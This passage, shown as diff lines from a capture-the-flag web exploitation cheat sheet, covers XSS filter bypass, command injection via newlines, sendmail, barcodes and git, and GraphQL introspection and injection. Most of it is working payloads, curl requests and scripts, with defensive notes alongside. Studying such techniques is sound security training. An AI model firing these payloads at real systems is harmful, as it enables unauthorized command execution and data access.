curl "http://target/" --data 'input=<img sron=c onerror=alert(1)>'
|
|
191
|
+
# Pass 1 strips "onerror=" leaving <img src onerror=alert(1)> with partial strip
|
|
192
|
+
# Exact bypass depends on regex — test with variations like:
|
|
193
|
+
# <scr\x00ipt>, <scr ipt>, embed keyword inside itself
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
**Key insight:** Sequential regex replacements let pass N reconstruct what pass M already checked. The first replacement produces a pattern the second was designed to catch, but because the second has already run (or the first runs last), the reconstructed dangerous pattern passes through. Always apply sanitization in a single idempotent pass or use a parser-based sanitizer.
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## Command Injection
|
|
201
|
+
|
|
202
|
+
### Newline Bypass
|
|
203
|
+
```bash
|
|
204
|
+
curl -X POST http://target/ --data-urlencode "target=127.0.0.1
|
|
205
|
+
cat flag.txt"
|
|
206
|
+
curl -X POST http://target/ -d "ip=127.0.0.1%0acat%20flag.txt"
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
### Incomplete Blocklist Bypass
|
|
210
|
+
When cat/head/less blocked: `sed -n p flag.txt`, `awk '{print}'`, `tac flag.txt`
|
|
211
|
+
Common missed: `;` semicolons, backticks, `$()` substitution
|
|
212
|
+
|
|
213
|
+
### Sendmail Parameter Injection via CGI (SECCON 2015)
|
|
214
|
+
|
|
215
|
+
When CGI scripts pass user input to `sendmail` via `open()` pipe:
|
|
216
|
+
|
|
217
|
+
```perl
|
|
218
|
+
open(SH, "|/usr/sbin/sendmail -bm '$user_input'");
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
Inject shell commands by breaking out of the quoted context:
|
|
222
|
+
|
|
223
|
+
```bash
|
|
224
|
+
mail=' -bp|ls SECRETS #
|
|
225
|
+
mail=' -bp|cat SECRETS/backdoor123.php #
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
The `-bp` flag forces sendmail into queue-print mode (non-interactive), and `|` pipes to shell. Discovery chain: find `.cgi_bak` backup files to read source → identify injection point → execute commands.
|
|
229
|
+
|
|
230
|
+
### Multi-Barcode Concatenation to Shell Injection (BSidesSF 2024)
|
|
231
|
+
|
|
232
|
+
When a service processes images containing barcodes (via zbar/zxing), multiple barcodes in one image get concatenated into a single string. Exploit by combining a valid barcode with a malicious Code128 barcode:
|
|
233
|
+
|
|
234
|
+
1. **Create valid barcode:** Generate UPC/EAN-13 barcode that passes type validation
|
|
235
|
+
2. **Create injection barcode:** Generate Code128 barcode containing shell metacharacters:
|
|
236
|
+
```text
|
|
237
|
+
test", "node": "hi'; cat /flag > /tmp/out; #
|
|
238
|
+
```
|
|
239
|
+
3. **Combine into single image:** `montage valid.png malicious.png -tile 2x1 combined.png`
|
|
240
|
+
4. **Upload:** Scanner reads both barcodes, concatenates values, and passes to a system() call or JSON parser
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
# Generate Code128 barcode with injection payload
|
|
244
|
+
python3 -c "
|
|
245
|
+
import barcode
|
|
246
|
+
from barcode.writer import ImageWriter
|
|
247
|
+
code = barcode.get('code128', 'test\", \"node\": \"x\x27; cat /flag >&5; #', writer=ImageWriter())
|
|
248
|
+
code.save('inject')
|
|
249
|
+
"
|
|
250
|
+
# Combine with valid UPC barcode
|
|
251
|
+
montage valid_upc.png inject.png -tile 2x1 -geometry +0+0 payload.png
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
**Key insight:** Barcode libraries process ALL detected barcodes in an image. Type validation (e.g., "must be UPC") may only check the first barcode, while concatenated output from all barcodes flows into downstream processing. This is analogous to HTTP parameter pollution but for visual data.
|
|
255
|
+
|
|
256
|
+
### Git CLI Newline Injection via URL Path (BSidesSF 2026)
|
|
257
|
+
|
|
258
|
+
**Pattern (gitfab):** A web-based repository viewer shells out to git CLI using backticks: `` `git show "#{path}"` ``. The application sanitizes shell metacharacters (`<`, `>`, `|`, `;`, `&`) but allows newlines. URL-encoded newline (`%0a`) in the path parameter breaks out of the git command and injects arbitrary shell commands.
|
|
259
|
+
|
|
260
|
+
```text
|
|
261
|
+
GET /file/test%22%0acat%20/home/ctf/flag.txt%0aecho%20%22 HTTP/1.1
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
Decoded, this becomes:
|
|
265
|
+
```bash
|
|
266
|
+
git show "test"
|
|
267
|
+
cat /home/ctf/flag.txt
|
|
268
|
+
echo ""
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
```ruby
|
|
272
|
+
require 'httparty'
|
|
273
|
+
|
|
274
|
+
# URL-encode newline injection
|
|
275
|
+
path = 'test"%0acat /home/ctf/flag.txt%0aecho "'
|
|
276
|
+
response = HTTParty.get("http://target/file/#{URI.encode_www_form_component(path)}")
|
|
277
|
+
puts response.body
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
**Key insight:** Newline (`\n`, `%0a`) is frequently overlooked in command injection filters. While `;`, `|`, and `&` are commonly blocked, newline acts as a command separator in shell and is valid in URLs. Any application that passes URL path components to shell commands via string interpolation (backticks, `system()`, `popen()`) is vulnerable if newlines aren't filtered.
|
|
281
|
+
|
|
282
|
+
**When to recognize:** Web app interacts with git, svn, or other CLI tools. Source shows shell interpolation with partial sanitization. Test with `%0a` (newline) and `%0d%0a` (CRLF) in URL parameters.
|
|
283
|
+
|
|
284
|
+
**Defense check:** Does the filter block `\n` (0x0a)? Does it use allowlists instead of blocklists? Does it use `execve()` (no shell) instead of `system()` (shell)?
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## GraphQL Injection and Exploitation (Hack.lu CTF 2020, HeroCTF v5)
|
|
289
|
+
|
|
290
|
+
### Introspection and Schema Discovery
|
|
291
|
+
|
|
292
|
+
```graphql
|
|
293
|
+
# Full schema enumeration (often left enabled in CTFs)
|
|
294
|
+
{__schema{types{name,fields{name,args{name,type{name}}}}}}
|
|
295
|
+
|
|
296
|
+
# Shortened introspection query
|
|
297
|
+
{__type(name:"Query"){fields{name,type{name,ofType{name}}}}}
|
|
298
|
+
|
|
299
|
+
# Find all mutations
|
|
300
|
+
{__schema{mutationType{fields{name,args{name,type{name}}}}}}
|
|
301
|
+
|
|
302
|
+
# Find hidden types
|
|
303
|
+
{__schema{types{name,kind,description}}}
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
### Query Batching and Aliasing for Rate Limit Bypass
|
|
307
|
+
|
|
308
|
+
```graphql
|
|
309
|
+
# Execute same mutation N times in single request via aliases
|
|
310
|
+
mutation {
|
|
311
|
+
a1: increaseVote(id: "target") { count }
|
|
312
|
+
a2: increaseVote(id: "target") { count }
|
|
313
|
+
a3: increaseVote(id: "target") { count }
|
|
314
|
+
# ... repeat 1337 times
|
|
315
|
+
}
|
|
316
|
+
|
|
317
|
+
# Or via array batching (if supported):
|
|
318
|
+
# POST body: [{"query":"mutation{vote(id:\"x\"){ok}}"}, {"query":"mutation{vote(id:\"x\"){ok}}"}, ...]
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
### String Interpolation Injection
|
|
322
|
+
|
|
323
|
+
```javascript
|
|
324
|
+
// Vulnerable server code pattern:
|
|
325
|
+
const query = `mutation { doAction(input: "${userInput}") { result } }`;
|
|
326
|
+
|
|
327
|
+
// Injection payload:
|
|
328
|
+
// userInput = ") { result } } mutation { adminAction(secret: true) { flag } } #"
|
|
329
|
+
// Resulting query:
|
|
330
|
+
// mutation { doAction(input: "") { result } } mutation { adminAction(secret: true) { flag } } #") { result } }
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
**Key insight:** GraphQL combines query language power with REST-like endpoints. Three main attack surfaces: (1) introspection reveals the full API schema, (2) query batching/aliasing bypasses rate limits and multiplies actions, (3) string interpolation in server-side query construction enables injection similar to SQLi.
|
|
334
|
+
|
|
335
|
+
---
|
|
336
|
+
|
|
337
|
+
*See also: [server-side-exec.md](server-side-exec.md) for code execution attacks (Ruby/Perl/JS/LaTeX/Prolog injection, PHP preg_replace /e, ReDoS, file upload to RCE, PHP deserialization, XPath injection, Thymeleaf SpEL SSTI), and [server-side-exec-2.md](server-side-exec-2.md) for SQLi keyword fragmentation, SQL WHERE bypass, SQL via DNS, bash brace expansion, Common Lisp injection, PHP7 OPcache, PNG/PHP polyglot upload, and more.*
|